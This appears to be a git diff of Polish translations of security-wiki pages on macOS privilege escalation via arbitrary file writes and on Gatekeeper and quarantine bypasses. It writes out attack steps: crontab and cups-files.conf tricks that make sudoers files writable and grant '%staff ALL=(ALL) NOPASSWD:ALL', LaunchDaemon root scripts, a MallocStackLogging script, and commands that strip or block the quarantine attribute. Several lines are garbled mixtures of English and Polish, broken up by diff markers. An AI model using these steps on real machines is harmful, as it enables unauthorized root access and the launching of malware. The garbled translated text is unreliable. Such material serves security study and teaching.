Jeśli uprzywilejowany proces zapisuje dane w **pliku**, który mógłby być **kontrolowany** przez **użytkownika o niższych uprawnieniach**, lub który mógłby być **wcześniej utworzony** przez użytkownika o niższych uprawnieniach. Użytkownik mógłby po prostu **wskazać go na inny plik** za pomocą linku symbolicznego lub twardego, a uprzywilejowany proces zapisze w tym pliku.
|
||||
|
||||
Sprawdź w innych sekcjach, gdzie atakujący mógłby **wykorzystać dowolny zapis do eskalacji uprawnień**.
|
||||
|
||||
### Otwórz `O_NOFOLLOW`
|
||||
|
||||
Flaga `O_NOFOLLOW` używana przez funkcję `open` nie będzie podążać za linkiem symbolicznym w ostatnim komponencie ścieżki, ale będzie podążać za resztą ścieżki. Prawidłowy sposób zapobiegania podążaniu za linkami symbolicznymi w ścieżce to użycie flagi `O_NOFOLLOW_ANY`.
|
||||
|
||||
## .fileloc
|
||||
|
||||
Pliki z rozszerzeniem **`.fileloc`** mogą wskazywać na inne aplikacje lub binaria, więc gdy są otwierane, aplikacja/binary będzie tą, która zostanie uruchomiona.\
|
||||
@ -56,25 +50,21 @@ Przykład:
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
## Deskryptory plików
|
||||
## Arbitrary FD
|
||||
|
||||
### Wycieki FD (brak `O_CLOEXEC`)
|
||||
Jeśli możesz sprawić, że **proces otworzy plik lub folder z wysokimi uprawnieniami**, możesz nadużyć **`crontab`**, aby otworzyć plik w `/etc/sudoers.d` z **`EDITOR=exploit.py`**, dzięki czemu `exploit.py` uzyska FD do pliku w `/etc/sudoers` i go nadużyje.
|
||||
|
||||
Jeśli wywołanie `open` nie ma flagi `O_CLOEXEC`, deskryptor pliku zostanie odziedziczony przez proces potomny. Tak więc, jeśli proces z uprawnieniami otworzy plik z uprawnieniami i wykona proces kontrolowany przez atakującego, atakujący **odziedziczy FD do pliku z uprawnieniami**.
|
||||
Na przykład: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
|
||||
|
||||
Jeśli możesz sprawić, aby **proces otworzył plik lub folder z wysokimi uprawnieniami**, możesz nadużyć **`crontab`**, aby otworzyć plik w `/etc/sudoers.d` z **`EDITOR=exploit.py`**, dzięki czemu `exploit.py` uzyska FD do pliku w `/etc/sudoers` i go nadużyje.
|
||||
## Avoid quarantine xattrs tricks
|
||||
|
||||
Na przykład: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), kod: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
|
||||
|
||||
## Unikaj sztuczek z xattrs kwarantanny
|
||||
|
||||
### Usuń to
|
||||
### Remove it
|
||||
```bash
|
||||
xattr -d com.apple.quarantine /path/to/file_or_app
|
||||
```
|
||||
### uchg / uchange / uimmutable flag
|
||||
|
||||
Jeśli plik/folder ma ten atrybut niemutowalny, nie będzie możliwe dodanie xattr do niego.
|
||||
Jeśli plik/folder ma ten atrybut niezmienności, nie będzie możliwe dodanie do niego xattr.
|
||||
```bash
|
||||
echo asd > /tmp/asd
|
||||
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
|
||||
@ -122,7 +112,7 @@ ls -le /tmp/test
|
||||
|
||||
Format pliku **AppleDouble** kopiuje plik wraz z jego ACEs.
|
||||
|
||||
W [**kodzie źródłowym**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) można zobaczyć, że tekstowa reprezentacja ACL przechowywana w xattr o nazwie **`com.apple.acl.text`** zostanie ustawiona jako ACL w dekompresowanym pliku. Więc, jeśli skompresujesz aplikację do pliku zip w formacie **AppleDouble** z ACL, który uniemożliwia zapisanie innych xattrs... xattr kwarantanny nie został ustawiony w aplikacji:
|
||||
W [**kodzie źródłowym**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) można zobaczyć, że tekstowa reprezentacja ACL przechowywana w xattr o nazwie **`com.apple.acl.text`** zostanie ustawiona jako ACL w dekompresowanym pliku. Więc, jeśli skompresujesz aplikację do pliku zip w formacie pliku **AppleDouble** z ACL, który uniemożliwia zapisanie innych xattrs... xattr kwarantanny nie został ustawiony w aplikacji:
|
||||
|
||||
Sprawdź [**oryginalny raport**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) po więcej informacji.
|
||||
|
||||
@ -152,28 +142,7 @@ Nie jest to naprawdę potrzebne, ale zostawiam to na wszelki wypadek:
|
||||
macos-xattr-acls-extra-stuff.md
|
||||
{{#endref}}
|
||||
|
||||
## Ominięcie kontroli podpisów
|
||||
|
||||
### Ominięcie kontroli binarnych platform
|
||||
|
||||
Niektóre kontrole bezpieczeństwa sprawdzają, czy binarny plik jest **binarnym plikiem platformy**, na przykład, aby umożliwić połączenie z usługą XPC. Jednak, jak pokazano w omijaniu w https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, możliwe jest ominięcie tej kontroli, uzyskując binarny plik platformy (tak jak /bin/ls) i wstrzykując exploit za pomocą dyld, używając zmiennej środowiskowej `DYLD_INSERT_LIBRARIES`.
|
||||
|
||||
### Ominięcie flag `CS_REQUIRE_LV` i `CS_FORCED_LV`
|
||||
|
||||
Możliwe jest, aby wykonywany binarny plik zmodyfikował swoje własne flagi, aby ominąć kontrole za pomocą kodu takiego jak:
|
||||
```c
|
||||
// Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/
|
||||
int pid = getpid();
|
||||
NSString *exePath = NSProcessInfo.processInfo.arguments[0];
|
||||
|
||||
uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
|
||||
status |= 0x2000; // CS_REQUIRE_LV
|
||||
csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
|
||||
|
||||
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
|
||||
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
|
||||
```
|
||||
## Ominięcie Podpisów Kodów
|
||||
## Ominięcie Podpisów Kodu
|
||||
|
||||
Bundles zawierają plik **`_CodeSignature/CodeResources`**, który zawiera **hash** każdego pojedynczego **pliku** w **bundle**. Należy zauważyć, że hash CodeResources jest również **osadzony w wykonywalnym**, więc nie możemy tego zepsuć.
|
||||
|
||||
@ -278,41 +247,21 @@ Napisz dowolny **LaunchDaemon** jak **`/Library/LaunchDaemons/xyz.hacktricks.pri
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Just generate the script `/Applications/Scripts/privesc.sh` with the **commands** you would like to run as root.
|
||||
Just generate the script `/Applications/Scripts/privesc.sh` with the **komendy** you would like to run as root.
|
||||
|
||||
### Sudoers File
|
||||
|
||||
If you have **arbitrary write**, you could create a file inside the folder **`/etc/sudoers.d/`** granting yourself **sudo** privileges.
|
||||
If you have **dowolny zapis**, you could create a file inside the folder **`/etc/sudoers.d/`** granting yourself **sudo** privileges.
|
||||
|
||||
### PATH files
|
||||
|
||||
The file **`/etc/paths`** is one of the main places that populates the PATH env variable. You must be root to overwrite it, but if a script from **privileged process** is executing some **command without the full path**, you might be able to **hijack** it modifying this file.
|
||||
The file **`/etc/paths`** is one of the main places that populates the PATH env variable. You must be root to overwrite it, but if a script from **privileged process** is executing some **komenda without the full path**, you might be able to **przejąć** it modifying this file.
|
||||
|
||||
You can also write files in **`/etc/paths.d`** to load new folders into the `PATH` env variable.
|
||||
|
||||
### cups-files.conf
|
||||
|
||||
Ta technika została użyta w [this writeup](https://www.kandji.io/blog/macos-audit-story-part1).
|
||||
|
||||
Create the file `/etc/cups/cups-files.conf` with the following content:
|
||||
```
|
||||
ErrorLog /etc/sudoers.d/lpe
|
||||
LogFilePerm 777
|
||||
<some junk>
|
||||
```
|
||||
To utworzy plik `/etc/sudoers.d/lpe` z uprawnieniami 777. Dodatkowy śmieć na końcu służy do wywołania utworzenia logu błędów.
|
||||
|
||||
Następnie, zapisz w `/etc/sudoers.d/lpe` potrzebną konfigurację do eskalacji uprawnień, taką jak `%staff ALL=(ALL) NOPASSWD:ALL`.
|
||||
|
||||
Następnie, zmodyfikuj plik `/etc/cups/cups-files.conf`, ponownie wskazując `LogFilePerm 700`, aby nowy plik sudoers stał się ważny, wywołując `cupsctl`.
|
||||
|
||||
### Sandbox Escape
|
||||
|
||||
Możliwe jest ucieczka z sandboxa macOS za pomocą FS arbitrary write. Dla niektórych przykładów sprawdź stronę [macOS Auto Start](../../../../macos-auto-start-locations.md), ale powszechnym przypadkiem jest zapisanie pliku preferencji Terminala w `~/Library/Preferences/com.apple.Terminal.plist`, który wykonuje polecenie przy starcie i wywołuje je za pomocą `open`.
|
||||
|
||||
## Generate writable files as other users
|
||||
|
||||
To wygeneruje plik, który należy do roota, a który jest zapisywalny przeze mnie ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). To może również działać jako privesc:
|
||||
This will generate a file that belongs to root that is writable by me ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). This might also work as privesc:
|
||||
```bash
|
||||
DIRNAME=/usr/local/etc/periodic/daily
|
||||
|
||||
@ -324,9 +273,9 @@ MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDont
|
||||
FILENAME=$(ls "$DIRNAME")
|
||||
echo $FILENAME
|
||||
```
|
||||
## Pamięć współdzielona POSIX
|
||||
## POSIX Współdzielona Pamięć
|
||||
|
||||
**Pamięć współdzielona POSIX** pozwala procesom w systemach operacyjnych zgodnych z POSIX na dostęp do wspólnej przestrzeni pamięci, co ułatwia szybszą komunikację w porównaniu do innych metod komunikacji międzyprocesowej. Polega to na tworzeniu lub otwieraniu obiektu pamięci współdzielonej za pomocą `shm_open()`, ustawianiu jego rozmiaru za pomocą `ftruncate()` oraz mapowaniu go w przestrzeni adresowej procesu za pomocą `mmap()`. Procesy mogą następnie bezpośrednio odczytywać i zapisywać w tej przestrzeni pamięci. Aby zarządzać równoczesnym dostępem i zapobiegać uszkodzeniu danych, często stosuje się mechanizmy synchronizacji, takie jak mutexy lub semafory. Na koniec procesy odmapowują i zamykają pamięć współdzieloną za pomocą `munmap()` i `close()`, a opcjonalnie usuwają obiekt pamięci za pomocą `shm_unlink()`. Ten system jest szczególnie skuteczny w przypadku efektywnej, szybkiej IPC w środowiskach, w których wiele procesów musi szybko uzyskiwać dostęp do współdzielonych danych.
|
||||
**POSIX współdzielona pamięć** pozwala procesom w systemach operacyjnych zgodnych z POSIX na dostęp do wspólnej przestrzeni pamięci, co ułatwia szybszą komunikację w porównaniu do innych metod komunikacji międzyprocesowej. Polega to na tworzeniu lub otwieraniu obiektu współdzielonej pamięci za pomocą `shm_open()`, ustawianiu jego rozmiaru za pomocą `ftruncate()` oraz mapowaniu go do przestrzeni adresowej procesu za pomocą `mmap()`. Procesy mogą następnie bezpośrednio odczytywać i zapisywać do tej przestrzeni pamięci. Aby zarządzać równoczesnym dostępem i zapobiegać uszkodzeniu danych, często stosuje się mechanizmy synchronizacji, takie jak mutexy lub semafory. Na koniec procesy odmapowują i zamykają współdzieloną pamięć za pomocą `munmap()` i `close()`, a opcjonalnie usuwają obiekt pamięci za pomocą `shm_unlink()`. Ten system jest szczególnie skuteczny w przypadku efektywnej, szybkiej IPC w środowiskach, w których wiele procesów musi szybko uzyskiwać dostęp do współdzielonych danych.
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -2,25 +2,29 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Gatekeeper
|
||||
|
||||
**Gatekeeper** to funkcja zabezpieczeń opracowana dla systemów operacyjnych Mac, zaprojektowana w celu zapewnienia, że użytkownicy **uruchamiają tylko zaufane oprogramowanie** na swoich systemach. Działa poprzez **weryfikację oprogramowania**, które użytkownik pobiera i próbuje otworzyć z **źródeł zewnętrznych do App Store**, takich jak aplikacja, wtyczka lub pakiet instalacyjny.
|
||||
**Gatekeeper** to funkcja zabezpieczeń opracowana dla systemów operacyjnych Mac, zaprojektowana w celu zapewnienia, że użytkownicy **uruchamiają tylko zaufane oprogramowanie** na swoich systemach. Działa poprzez **weryfikację oprogramowania**, które użytkownik pobiera i próbuje otworzyć z **źródeł spoza App Store**, takich jak aplikacja, wtyczka lub pakiet instalacyjny.
|
||||
|
||||
Kluczowym mechanizmem Gatekeepera jest jego **proces weryfikacji**. Sprawdza, czy pobrane oprogramowanie jest **podpisane przez uznanego dewelopera**, co zapewnia autentyczność oprogramowania. Ponadto ustala, czy oprogramowanie jest **notaryzowane przez Apple**, potwierdzając, że nie zawiera znanej złośliwej zawartości i nie zostało zmodyfikowane po notaryzacji.
|
||||
Kluczowym mechanizmem Gatekeepera jest jego **proces weryfikacji**. Sprawdza, czy pobrane oprogramowanie jest **podpisane przez uznanego dewelopera**, co zapewnia autentyczność oprogramowania. Ponadto ustala, czy oprogramowanie jest **notaryzowane przez Apple**, potwierdzając, że nie zawiera znanej złośliwej zawartości i nie zostało zmienione po notaryzacji.
|
||||
|
||||
Dodatkowo, Gatekeeper wzmacnia kontrolę i bezpieczeństwo użytkownika, **prosząc użytkowników o zatwierdzenie otwarcia** pobranego oprogramowania po raz pierwszy. To zabezpieczenie pomaga zapobiegać przypadkowemu uruchamianiu przez użytkowników potencjalnie szkodliwego kodu wykonywalnego, który mogli pomylić z nieszkodliwym plikiem danych.
|
||||
Dodatkowo, Gatekeeper wzmacnia kontrolę i bezpieczeństwo użytkownika, **prosząc użytkowników o zatwierdzenie otwarcia** pobranego oprogramowania po raz pierwszy. To zabezpieczenie pomaga zapobiegać przypadkowemu uruchomieniu przez użytkowników potencjalnie szkodliwego kodu wykonywalnego, który mogli pomylić z nieszkodliwym plikiem danych.
|
||||
|
||||
### Podpisy aplikacji
|
||||
|
||||
Podpisy aplikacji, znane również jako podpisy kodu, są kluczowym elementem infrastruktury zabezpieczeń Apple. Służą do **weryfikacji tożsamości autora oprogramowania** (dewelopera) oraz do zapewnienia, że kod nie został zmodyfikowany od momentu ostatniego podpisania.
|
||||
Podpisy aplikacji, znane również jako podpisy kodu, są kluczowym elementem infrastruktury zabezpieczeń Apple. Służą do **weryfikacji tożsamości autora oprogramowania** (dewelopera) oraz do zapewnienia, że kod nie został zmieniony od momentu ostatniego podpisania.
|
||||
|
||||
Oto jak to działa:
|
||||
|
||||
1. **Podpisywanie aplikacji:** Gdy deweloper jest gotowy do dystrybucji swojej aplikacji, **podpisuje aplikację za pomocą klucza prywatnego**. Ten klucz prywatny jest powiązany z **certyfikatem, który Apple wydaje deweloperowi** w momencie rejestracji w Apple Developer Program. Proces podpisywania polega na stworzeniu kryptograficznego skrótu wszystkich części aplikacji i zaszyfrowaniu tego skrótu kluczem prywatnym dewelopera.
|
||||
2. **Dystrybucja aplikacji:** Podpisana aplikacja jest następnie dystrybuowana do użytkowników wraz z certyfikatem dewelopera, który zawiera odpowiadający klucz publiczny.
|
||||
3. **Weryfikacja aplikacji:** Gdy użytkownik pobiera i próbuje uruchomić aplikację, jego system operacyjny Mac używa klucza publicznego z certyfikatu dewelopera do odszyfrowania skrótu. Następnie ponownie oblicza skrót na podstawie aktualnego stanu aplikacji i porównuje go z odszyfrowanym skrótem. Jeśli się zgadzają, oznacza to, że **aplikacja nie została zmodyfikowana** od momentu jej podpisania przez dewelopera, a system zezwala na uruchomienie aplikacji.
|
||||
3. **Weryfikacja aplikacji:** Gdy użytkownik pobiera i próbuje uruchomić aplikację, jego system operacyjny Mac używa klucza publicznego z certyfikatu dewelopera do odszyfrowania skrótu. Następnie ponownie oblicza skrót na podstawie aktualnego stanu aplikacji i porównuje go z odszyfrowanym skrótem. Jeśli się zgadzają, oznacza to, że **aplikacja nie została zmodyfikowana** od momentu jej podpisania przez dewelopera, a system zezwala na jej uruchomienie.
|
||||
|
||||
Podpisy aplikacji są istotną częścią technologii Gatekeeper Apple. Gdy użytkownik próbuje **otworzyć aplikację pobraną z internetu**, Gatekeeper weryfikuje podpis aplikacji. Jeśli jest podpisana certyfikatem wydanym przez Apple dla znanego dewelopera i kod nie został zmodyfikowany, Gatekeeper zezwala na uruchomienie aplikacji. W przeciwnym razie blokuje aplikację i informuje użytkownika.
|
||||
Podpisy aplikacji są istotną częścią technologii Gatekeeper Apple. Gdy użytkownik próbuje **otworzyć aplikację pobraną z internetu**, Gatekeeper weryfikuje podpis aplikacji. Jeśli jest podpisana certyfikatem wydanym przez Apple dla znanego dewelopera i kod nie został zmieniony, Gatekeeper zezwala na uruchomienie aplikacji. W przeciwnym razie blokuje aplikację i informuje użytkownika.
|
||||
|
||||
Począwszy od macOS Catalina, **Gatekeeper sprawdza również, czy aplikacja została notaryzowana** przez Apple, co dodaje dodatkową warstwę zabezpieczeń. Proces notaryzacji sprawdza aplikację pod kątem znanych problemów z bezpieczeństwem i złośliwego kodu, a jeśli te kontrole przejdą, Apple dodaje bilet do aplikacji, który Gatekeeper może zweryfikować.
|
||||
|
||||
@ -68,7 +72,7 @@ GateKeeper sprawdzi, czy zgodnie z **preferencjami i podpisem** binarka może by
|
||||
|
||||
<figure><img src="../../../images/image (1150).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**`syspolicyd`** jest głównym demonem odpowiedzialnym za egzekwowanie Gatekeepera. Utrzymuje bazę danych znajdującą się w `/var/db/SystemPolicy` i można znaleźć kod wspierający [bazę danych tutaj](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) oraz [szablon SQL tutaj](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql). Zauważ, że baza danych nie jest ograniczona przez SIP i jest zapisywana przez root, a baza danych `/var/db/.SystemPolicy-default` jest używana jako oryginalna kopia zapasowa w przypadku uszkodzenia innej.
|
||||
**`syspolicyd`** jest głównym demonem odpowiedzialnym za egzekwowanie Gatekeepera. Utrzymuje bazę danych znajdującą się w `/var/db/SystemPolicy` i można znaleźć kod wspierający [bazę danych tutaj](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp) oraz [szablon SQL tutaj](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql). Zauważ, że baza danych nie jest ograniczona przez SIP i jest zapisywalna przez root, a baza danych `/var/db/.SystemPolicy-default` jest używana jako oryginalna kopia zapasowa w przypadku uszkodzenia innej.
|
||||
|
||||
Ponadto, pakiety **`/var/db/gke.bundle`** i **`/var/db/gkopaque.bundle`** zawierają pliki z regułami, które są wstawiane do bazy danych. Możesz sprawdzić tę bazę danych jako root za pomocą:
|
||||
```bash
|
||||
@ -87,7 +91,7 @@ anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists an
|
||||
**`syspolicyd`** również udostępnia serwer XPC z różnymi operacjami, takimi jak `assess`, `update`, `record` i `cancel`, które są również dostępne za pomocą **`Security.framework`'s `SecAssessment*`** API, a **`xpctl`** faktycznie komunikuje się z **`syspolicyd`** za pośrednictwem XPC.
|
||||
|
||||
Zauważ, jak pierwsza zasada kończy się na "**App Store**", a druga na "**Developer ID**" i że w poprzednim obrazie było **włączone wykonywanie aplikacji z App Store i zidentyfikowanych deweloperów**.\
|
||||
Jeśli **zmienisz** to ustawienie na App Store, zasady "**Notarized Developer ID" znikną**.
|
||||
Jeśli **zmodyfikujesz** to ustawienie na App Store, zasady "**Notarized Developer ID" znikną**.
|
||||
|
||||
Istnieją również tysiące zasad **typu GKE**:
|
||||
```bash
|
||||
@ -141,9 +145,9 @@ sudo spctl --enable --label "whitelist"
|
||||
spctl --assess -v /Applications/App.app
|
||||
/Applications/App.app: accepted
|
||||
```
|
||||
Odnośnie **rozszerzeń jądra**, folder `/var/db/SystemPolicyConfiguration` zawiera pliki z listami kextów, które mogą być ładowane. Ponadto, `spctl` ma uprawnienie `com.apple.private.iokit.nvram-csr`, ponieważ jest w stanie dodawać nowe wcześniej zatwierdzone rozszerzenia jądra, które muszą być również zapisane w NVRAM w kluczu `kext-allowed-teams`.
|
||||
Odnośnie **rozszerzeń jądra**, folder `/var/db/SystemPolicyConfiguration` zawiera pliki z listami kextów, które mogą być ładowane. Ponadto, `spctl` ma uprawnienie `com.apple.private.iokit.nvram-csr`, ponieważ jest w stanie dodawać nowe wstępnie zatwierdzone rozszerzenia jądra, które muszą być również zapisane w NVRAM w kluczu `kext-allowed-teams`.
|
||||
|
||||
### Pliki w kwarantannie
|
||||
### Pliki kwarantanny
|
||||
|
||||
Po **pobraniu** aplikacji lub pliku, konkretne aplikacje macOS, takie jak przeglądarki internetowe lub klienci poczty e-mail, **przypisują rozszerzony atrybut pliku**, powszechnie znany jako "**flaga kwarantanny**," do pobranego pliku. Atrybut ten działa jako środek bezpieczeństwa, aby **oznaczyć plik** jako pochodzący z nieznanego źródła (internetu) i potencjalnie niosący ryzyko. Jednak nie wszystkie aplikacje przypisują ten atrybut, na przykład, powszechne oprogramowanie klientów BitTorrent zazwyczaj omija ten proces.
|
||||
|
||||
@ -151,7 +155,7 @@ Po **pobraniu** aplikacji lub pliku, konkretne aplikacje macOS, takie jak przegl
|
||||
|
||||
W przypadku, gdy **flaga kwarantanny nie jest obecna** (jak w przypadku plików pobranych za pomocą niektórych klientów BitTorrent), **sprawdzenia Gatekeepera mogą nie być przeprowadzane**. Dlatego użytkownicy powinni zachować ostrożność przy otwieraniu plików pobranych z mniej bezpiecznych lub nieznanych źródeł.
|
||||
|
||||
> [!NOTE] > **Sprawdzanie** **ważności** podpisów kodu jest **zasobożernym** procesem, który obejmuje generowanie kryptograficznych **hashy** kodu i wszystkich jego powiązanych zasobów. Ponadto, sprawdzanie ważności certyfikatu wiąże się z przeprowadzeniem **sprawdzenia online** na serwerach Apple, aby zobaczyć, czy został on unieważniony po jego wydaniu. Z tych powodów pełne sprawdzenie podpisu kodu i notaryzacji jest **niepraktyczne do przeprowadzania za każdym razem, gdy aplikacja jest uruchamiana**.
|
||||
> [!NOTE] > **Sprawdzanie** **ważności** podpisów kodu jest **zasobożernym** procesem, który obejmuje generowanie kryptograficznych **hashy** kodu i wszystkich jego zintegrowanych zasobów. Ponadto, sprawdzanie ważności certyfikatu wiąże się z przeprowadzeniem **sprawdzenia online** na serwerach Apple, aby zobaczyć, czy został on unieważniony po jego wydaniu. Z tych powodów, pełne sprawdzenie podpisu kodu i notaryzacji jest **niepraktyczne do przeprowadzania za każdym razem, gdy aplikacja jest uruchamiana**.
|
||||
>
|
||||
> Dlatego te kontrole są **przeprowadzane tylko podczas uruchamiania aplikacji z atrybutem kwarantanny.**
|
||||
|
||||
@ -273,7 +277,7 @@ Informacje o kwarantannie są również przechowywane w centralnej bazie danych
|
||||
|
||||
#### **libquarantine.dylb**
|
||||
|
||||
Ta biblioteka eksportuje kilka funkcji, które pozwalają na manipulację polami atrybutów rozszerzonych.
|
||||
Ta biblioteka eksportuje kilka funkcji, które pozwalają manipulować polami atrybutów rozszerzonych.
|
||||
|
||||
API `qtn_file_*` zajmują się politykami kwarantanny plików, API `qtn_proc_*` są stosowane do procesów (plików tworzonych przez proces). Nieeksportowane funkcje `__qtn_syscall_quarantine*` to te, które stosują polityki, które wywołują `mac_syscall` z "Quarantine" jako pierwszym argumentem, co wysyła żądania do `Quarantine.kext`.
|
||||
|
||||
@ -285,14 +289,14 @@ To Kext będzie przechwytywać za pomocą MACF kilka wywołań, aby zarejestrowa
|
||||
|
||||
Używa również kilku MIB:
|
||||
|
||||
- `security.mac.qtn.sandbox_enforce`: Wymuszanie kwarantanny w ramach Sandbox
|
||||
- `security.mac.qtn.sandbox_enforce`: Wymusza kwarantannę w ramach Sandbox
|
||||
- `security.mac.qtn.user_approved_exec`: Procesy w kwarantannie mogą wykonywać tylko zatwierdzone pliki
|
||||
|
||||
### XProtect
|
||||
|
||||
XProtect to wbudowana funkcja **antywirusowa** w macOS. XProtect **sprawdza każdą aplikację, gdy jest po raz pierwszy uruchamiana lub modyfikowana w porównaniu do swojej bazy danych** znanych złośliwych oprogramowań i niebezpiecznych typów plików. Gdy pobierasz plik przez niektóre aplikacje, takie jak Safari, Mail lub Wiadomości, XProtect automatycznie skanuje plik. Jeśli pasuje do jakiegokolwiek znanego złośliwego oprogramowania w swojej bazie danych, XProtect **zapobiegnie uruchomieniu pliku** i powiadomi cię o zagrożeniu.
|
||||
|
||||
Baza danych XProtect jest **regularnie aktualizowana** przez Apple o nowe definicje złośliwego oprogramowania, a te aktualizacje są automatycznie pobierane i instalowane na twoim Macu. Zapewnia to, że XProtect jest zawsze aktualny z najnowszymi znanymi zagrożeniami.
|
||||
Baza danych XProtect jest **regularnie aktualizowana** przez Apple o nowe definicje złośliwego oprogramowania, a te aktualizacje są automatycznie pobierane i instalowane na twoim Macu. Zapewnia to, że XProtect jest zawsze aktualny w stosunku do najnowszych znanych zagrożeń.
|
||||
|
||||
Warto jednak zauważyć, że **XProtect nie jest pełnoprawnym rozwiązaniem antywirusowym**. Sprawdza tylko określoną listę znanych zagrożeń i nie wykonuje skanowania w czasie rzeczywistym, jak większość oprogramowania antywirusowego.
|
||||
|
||||
@ -324,15 +328,15 @@ Każdy sposób na obejście Gatekeepera (udać się zmusić użytkownika do pobr
|
||||
|
||||
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||
|
||||
Zaobserwowano, że jeśli **Narzędzie archiwum** jest używane do ekstrakcji, pliki z **ścieżkami przekraczającymi 886 znaków** nie otrzymują rozszerzonego atrybutu com.apple.quarantine. Ta sytuacja niezamierzenie pozwala tym plikom na **obejście zabezpieczeń Gatekeepera**.
|
||||
Zaobserwowano, że jeśli **Narzędzie archiwizacji** jest używane do ekstrakcji, pliki z **ścieżkami przekraczającymi 886 znaków** nie otrzymują rozszerzonego atrybutu com.apple.quarantine. Ta sytuacja niezamierzenie pozwala tym plikom na **obejście zabezpieczeń Gatekeepera**.
|
||||
|
||||
Sprawdź [**oryginalny raport**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) po więcej informacji.
|
||||
|
||||
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||
|
||||
Gdy aplikacja jest tworzona za pomocą **Automatora**, informacje o tym, co jest potrzebne do jej uruchomienia, znajdują się w `application.app/Contents/document.wflow`, a nie w pliku wykonywalnym. Plik wykonywalny to tylko ogólny plik binarny Automatora zwany **Automator Application Stub**.
|
||||
Gdy aplikacja jest tworzona za pomocą **Automatora**, informacje o tym, co potrzebuje do wykonania, znajdują się w `application.app/Contents/document.wflow`, a nie w pliku wykonywalnym. Plik wykonywalny to tylko ogólny plik binarny Automatora zwany **Automator Application Stub**.
|
||||
|
||||
Dlatego możesz sprawić, że `application.app/Contents/MacOS/Automator\ Application\ Stub` **wskazuje za pomocą linku symbolicznego na inny Automator Application Stub w systemie** i uruchomi to, co znajduje się w `document.wflow` (twój skrypt) **bez wywoływania Gatekeepera**, ponieważ rzeczywisty plik wykonywalny nie ma atrybutu kwarantanny.
|
||||
Dlatego możesz sprawić, że `application.app/Contents/MacOS/Automator\ Application\ Stub` **wskazuje za pomocą linku symbolicznego na inny Automator Application Stub w systemie** i wykona to, co znajduje się w `document.wflow` (twój skrypt) **bez wywoływania Gatekeepera**, ponieważ rzeczywisty plik wykonywalny nie ma atrybutu kwarantanny.
|
||||
|
||||
Przykładowa oczekiwana lokalizacja: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
|
||||
|
||||
@ -363,9 +367,9 @@ chmod +a "everyone deny writeextattr" /tmp/no-attr
|
||||
xattr -w attrname vale /tmp/no-attr
|
||||
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
||||
```
|
||||
Ponadto, format pliku **AppleDouble** kopiuje plik wraz z jego ACE.
|
||||
Ponadto, format pliku **AppleDouble** kopiuje plik wraz z jego ACEs.
|
||||
|
||||
W [**kodzie źródłowym**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) można zobaczyć, że tekstowa reprezentacja ACL przechowywana wewnątrz xattr o nazwie **`com.apple.acl.text`** zostanie ustawiona jako ACL w dekompresowanym pliku. Tak więc, jeśli skompresujesz aplikację do pliku zip w formacie **AppleDouble** z ACL, który uniemożliwia zapisanie innych xattr... xattr kwarantanny nie został ustawiony w aplikacji:
|
||||
W [**kodzie źródłowym**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) można zobaczyć, że tekstowa reprezentacja ACL przechowywana wewnątrz xattr o nazwie **`com.apple.acl.text`** zostanie ustawiona jako ACL w dekompresowanym pliku. Więc, jeśli skompresowałeś aplikację do pliku zip w formacie **AppleDouble** z ACL, który uniemożliwia zapisanie innych xattrs... xattr kwarantanny nie został ustawiony w aplikacji:
|
||||
```bash
|
||||
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
|
||||
ditto -c -k test test.zip
|
||||
@ -374,7 +378,7 @@ python3 -m http.server
|
||||
```
|
||||
Sprawdź [**oryginalny raport**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) po więcej informacji.
|
||||
|
||||
Zauważ, że to może być również wykorzystane z AppleArchives:
|
||||
Zauważ, że to również może być wykorzystane z AppleArchives:
|
||||
```bash
|
||||
mkdir app
|
||||
touch app/test
|
||||
